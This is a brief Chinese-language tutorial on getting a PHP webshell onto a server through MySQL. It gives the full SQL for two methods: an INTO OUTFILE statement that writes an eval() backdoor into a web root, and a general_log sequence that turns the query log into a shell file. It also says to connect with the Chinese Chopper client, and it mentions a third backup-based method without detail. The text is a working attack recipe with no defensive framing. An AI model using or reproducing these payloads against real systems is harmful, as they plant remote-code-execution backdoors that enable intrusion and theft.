1.into outfile方法
在mysql.ini配置文件中参数secure_file_priv的取值决定了写入开关的状态;
(1)secure_file_priv=NULL;–>表示写入开关关闭;
(2)secure_file_priv=“”;–>表示写入开关打开;
(3)secure_file_priv=“web路径”;–>表示写入开关打开,并写入指定路径下,如果写入路径不是web路径,则无法通过此种方法写入webshell。
修改该参数只能通过修改mysql.ini完成,命令行无法完成。
上传的sql语句
select "<?php @eval($_POST['hack']);?>" into outfile "C://phpstudy//PHPTutorial//WWW//shell.php"
后续利用菜刀进行连接;
2.general_log日志写入
该方法的原理是通过打开日志功能,将日志文件路径设为shell上传的路径;然后向shell文件中写入shell语句;
具体sql语句
show variables like '%general%'; #查看配置
set global general_log = on; #打开日志写入功能
set global general_log_file = 'c://phpstudy//PHPTutorial/WWW/shell.php';
select '<?php @eval($_GET[hack]);?>';
set global general_log = off;
3.数据库备份的方式
(需要借助相应web研究)